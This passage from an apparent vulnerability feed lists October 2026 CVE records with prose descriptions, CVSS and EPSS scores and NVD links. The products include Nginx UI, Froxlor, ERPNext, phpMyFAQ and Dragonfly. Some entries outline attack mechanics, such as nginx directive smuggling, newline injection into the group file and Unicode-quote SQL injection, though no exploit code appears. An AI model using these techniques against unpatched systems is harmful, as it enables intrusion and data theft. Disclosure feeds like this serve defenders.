EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108890&date=2026-10-25).
Sources:
NVD CVE-2026-108890: https://nvd.nist.gov/vuln/detail/CVE-2026-108890
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108890&date=2026-10-25
A vulnerability has been found in BlackBeltTechnology pi-agent-dashboard up to 0.8.0. Affected by this issue is the function terminalManager.spawn of the file packages/server/src/browser-handlers/terminal-handler.ts of the component Terminal Handler. The manipulation of the argument cwd leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 48fd0bad5adfe76af9736599699d51a5f60019f6. It is suggested to install a patch to address this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dragonfly is an in-memory data store built for modern application workloads.
https://kevwire.com/record/CVE-2026-104192
Dragonfly is an in-memory data store built for modern application workloads. (Oct 13, 2026).
Dragonfly is an in-memory data store built for modern application workloads. Prior to 1.40, OpaqueObjLoader::CreateStream in src/server/rdb_load.cc can associate one streamNACK with a consumer group's global PEL and a consumer-local PEL, then free the shared object when a duplicate consumer entry is rejected. Cleanup subsequently frees the same object again. In the default configuration, where Dragonfly ships with authentication disabled, an unauthenticated client can trigger the double-free by sending a crafted serialized stream to RESTORE, causing allocator corruption, denial of service, and potentially attacker-controlled code execution as the Dragonfly service account. The source fix has not yet been mapped to a published release.
CVSS 9.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104192).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104192&date=2026-10-25).
Sources:
NVD CVE-2026-104192: https://nvd.nist.gov/vuln/detail/CVE-2026-104192
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104192&date=2026-10-25
Dragonfly is an in-memory data store built for modern application workloads. Prior to 1.40, OpaqueObjLoader::CreateStream in src/server/rdb_load.cc can associate one streamNACK with a consumer group's global PEL and a consumer-local PEL, then free the shared object when a duplicate consumer entry is rejected. Cleanup subsequently frees the same object again. In the default configuration, where Dragonfly ships with authentication disabled, an unauthenticated client can trigger the double-free by sending a crafted serialized stream to RESTORE, causing allocator corruption, denial of service, and potentially attacker-controlled code execution as the Dragonfly service account. The source fix has not yet been mapped to a published release.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84318
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84318).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84318&date=2026-10-25).
Sources:
NVD CVE-2026-84318: https://nvd.nist.gov/vuln/detail/CVE-2026-84318
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84318&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84316
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84316).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84316&date=2026-10-25).
Sources:
NVD CVE-2026-84316: https://nvd.nist.gov/vuln/detail/CVE-2026-84316
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84316&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84360
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the HTTP configuration mutation routes require RequireSecureSession, but /mcp and /mcp_message require only ordinary authentication before exposing nginx_config_add and nginx_config_modify. An OTP-enabled user with a normal JWT but no valid X-Secure-Session-ID can therefore create or modify Nginx configuration and trigger reload behavior through MCP, bypassing the intended step-up control. This issue is fixed in version 2.4.1.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84360).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84360&date=2026-10-25).
Sources:
NVD CVE-2026-84360: https://nvd.nist.gov/vuln/detail/CVE-2026-84360
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84360&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the HTTP configuration mutation routes require RequireSecureSession, but /mcp and /mcp_message require only ordinary authentication before exposing nginx_config_add and nginx_config_modify. An OTP-enabled user with a normal JWT but no valid X-Secure-Session-ID can therefore create or modify Nginx configuration and trigger reload behavior through MCP, bypassing the intended step-up control. This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via...
https://kevwire.com/record/CVE-2026-109961
Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via... (Oct 13, 2026).
Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via the unvalidated additional_members parameter of the Ftps.add API. Attackers can embed newline characters that the REBUILD_NSSUSERS cron writes unsanitized into /var/lib/extrausers/group, creating privileged group entries for local privilege escalation.
CVSS 8.4 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109961).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109961&date=2026-10-25).
Sources:
NVD CVE-2026-109961: https://nvd.nist.gov/vuln/detail/CVE-2026-109961
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109961&date=2026-10-25
Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via the unvalidated additional_members parameter of the Ftps.add API. Attackers can embed newline characters that the REBUILD_NSSUSERS cron writes unsanitized into /var/lib/extrausers/group, creating privileged group entries for local privilege escalation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme...
https://kevwire.com/record/CVE-2026-109960
Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme... (Oct 13, 2026).
Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme value via customer_index.php. Script executes when an administrator views the customer overview with the Theme column enabled, letting attackers abuse the CSRF token to create administrator accounts or change server settings.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109960).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109960&date=2026-10-25).
Sources:
NVD CVE-2026-109960: https://nvd.nist.gov/vuln/detail/CVE-2026-109960
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109960&date=2026-10-25
Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme value via customer_index.php. Script executes when an administrator views the customer overview with the Theme column enabled, letting attackers abuse the CSRF token to create administrator accounts or change server settings.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.98.0 and 16.x before 16.6.0 contains an SQL injection vulnerability in some endpoints caused by missing input validation.
https://kevwire.com/record/CVE-2026-109674
Frappe ERPNext before 15.98.0 and 16.x before 16.6.0 contains an SQL injection vulnerability in some endpoints caused by missing input validation. (Oct 12, 2026).
Frappe ERPNext before 15.98.0 and 16.x before 16.6.0 contains an SQL injection vulnerability in some endpoints caused by missing input validation. Remote authenticated attackers can send specially crafted requests to the affected endpoints to manipulate database queries and extract sensitive information from the database.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109674).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109674&date=2026-10-25).
Sources:
NVD CVE-2026-109674: https://nvd.nist.gov/vuln/detail/CVE-2026-109674
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109674&date=2026-10-25
Frappe ERPNext before 15.98.0 and 16.x before 16.6.0 contains an SQL injection vulnerability in some endpoints caused by missing input validation. Remote authenticated attackers can send specially crafted requests to the affected endpoints to manipulate database queries and extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks.
https://kevwire.com/record/CVE-2026-109659
Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. (Oct 12, 2026).
Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. Authenticated users can call these endpoints to read financial data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109659).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109659&date=2026-10-25).
Sources:
NVD CVE-2026-109659: https://nvd.nist.gov/vuln/detail/CVE-2026-109659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109659&date=2026-10-25
Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. Authenticated users can call these endpoints to read financial data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.102.0 and 16.x before 16.11.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database...
https://kevwire.com/record/CVE-2026-109649
Frappe ERPNext before 15.102.0 and 16.x before 16.11.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database... (Oct 12, 2026).
Frappe ERPNext before 15.102.0 and 16.x before 16.11.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database queries. Authenticated attackers can send specially crafted requests to the affected endpoints to extract sensitive information from the database.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109649).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109649&date=2026-10-25).
Sources:
NVD CVE-2026-109649: https://nvd.nist.gov/vuln/detail/CVE-2026-109649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109649&date=2026-10-25
Frappe ERPNext before 15.102.0 and 16.x before 16.11.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database queries. Authenticated attackers can send specially crafted requests to the affected endpoints to extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks on...
https://kevwire.com/record/CVE-2026-109644
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks on... (Oct 12, 2026).
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks on valuation data. Authenticated low-privileged users can query these endpoints to read valuation information beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109644).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109644&date=2026-10-25).
Sources:
NVD CVE-2026-109644: https://nvd.nist.gov/vuln/detail/CVE-2026-109644
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109644&date=2026-10-25
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks on valuation data. Authenticated low-privileged users can query these endpoints to read valuation information beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.102.0 and 16.x before 16.8.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database...
https://kevwire.com/record/CVE-2026-109639
Frappe ERPNext before 15.102.0 and 16.x before 16.8.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database... (Oct 12, 2026).
Frappe ERPNext before 15.102.0 and 16.x before 16.8.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database queries. Authenticated attackers with low privileges can send specially crafted requests to the affected endpoints to extract sensitive information from the database.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109639).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109639&date=2026-10-25).
Sources:
NVD CVE-2026-109639: https://nvd.nist.gov/vuln/detail/CVE-2026-109639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109639&date=2026-10-25
Frappe ERPNext before 15.102.0 and 16.x before 16.8.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database queries. Authenticated attackers with low privileges can send specially crafted requests to the affected endpoints to extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks.
https://kevwire.com/record/CVE-2026-109624
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. (Oct 12, 2026).
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. Authenticated low-privileged users can request these endpoints to read personal data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109624).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109624&date=2026-10-25).
Sources:
NVD CVE-2026-109624: https://nvd.nist.gov/vuln/detail/CVE-2026-109624
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109624&date=2026-10-25
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. Authenticated low-privileged users can request these endpoints to read personal data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks.
https://kevwire.com/record/CVE-2026-109616
Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. (Oct 12, 2026).
Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can send requests to these endpoints to modify data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109616).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109616&date=2026-10-25).
Sources:
NVD CVE-2026-109616: https://nvd.nist.gov/vuln/detail/CVE-2026-109616
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109616&date=2026-10-25
Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can send requests to these endpoints to modify data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB...
https://kevwire.com/record/CVE-2026-109573
phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB... (Oct 12, 2026).
phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB runs in NO_BACKSLASH_ESCAPES mode. Unauthenticated attackers can send a Unicode right single quotation mark in the search parameter of api/autocomplete, which is normalized to an ASCII quote, to read credentials and configuration secrets, modify records, or drop tables.
CVSS 9.2 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109573).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109573&date=2026-10-25).
Sources:
NVD CVE-2026-109573: https://nvd.nist.gov/vuln/detail/CVE-2026-109573
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109573&date=2026-10-25
phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB runs in NO_BACKSLASH_ESCAPES mode. Unauthenticated attackers can send a Unicode right single quotation mark in the search parameter of api/autocomplete, which is normalized to an ASCII quote, to read credentials and configuration secrets, modify records, or drop tables.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in DeepPavlov up to 1.7.0. This impacts the function untar of the component Model Download Handler.
https://kevwire.com/record/CVE-2026-109155
A flaw has been found in DeepPavlov up to 1.7.0. This impacts the function untar of the component Model Download Handler. (Oct 13, 2026).
A flaw has been found in DeepPavlov up to 1.7.0. This impacts the function untar of the component Model Download Handler. This manipulation causes path traversal. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.3 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109155).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109155&date=2026-10-25).
Sources:
NVD CVE-2026-109155: https://nvd.nist.gov/vuln/detail/CVE-2026-109155
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109155&date=2026-10-25
A flaw has been found in DeepPavlov up to 1.7.0. This impacts the function untar of the component Model Download Handler. This manipulation causes path traversal. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This vulnerability affects unknown code of the file...
https://kevwire.com/record/CVE-2026-109114
A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This vulnerability affects unknown code of the file... (Oct 13, 2026).
A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This vulnerability affects unknown code of the file User/login.php of the component Login Form. Such manipulation of the argument email/passwd leads to improper authentication. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109114).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109114&date=2026-10-25).
Sources:
NVD CVE-2026-109114: https://nvd.nist.gov/vuln/detail/CVE-2026-109114
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109114&date=2026-10-25
A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This vulnerability affects unknown code of the file User/login.php of the component Login Form. Such manipulation of the argument email/passwd leads to improper authentication. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in SourceCodester Contact Tracing System 1.0. Affected by this issue is the function move_uploaded_file of the file /classes/Users.php?f=save.
https://kevwire.com/record/CVE-2026-108973
A vulnerability was determined in SourceCodester Contact Tracing System 1.0. Affected by this issue is the function move_uploaded_file of the file /classes/Users.php?f=save. (Oct 13, 2026).
A vulnerability was determined in SourceCodester Contact Tracing System 1.0. Affected by this issue is the function move_uploaded_file of the file /classes/Users.php?f=save. This manipulation of the argument img/id causes unrestricted upload. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108973).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108973&date=2026-10-25).
Sources:
NVD CVE-2026-108973: https://nvd.nist.gov/vuln/detail/CVE-2026-108973
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108973&date=2026-10-25
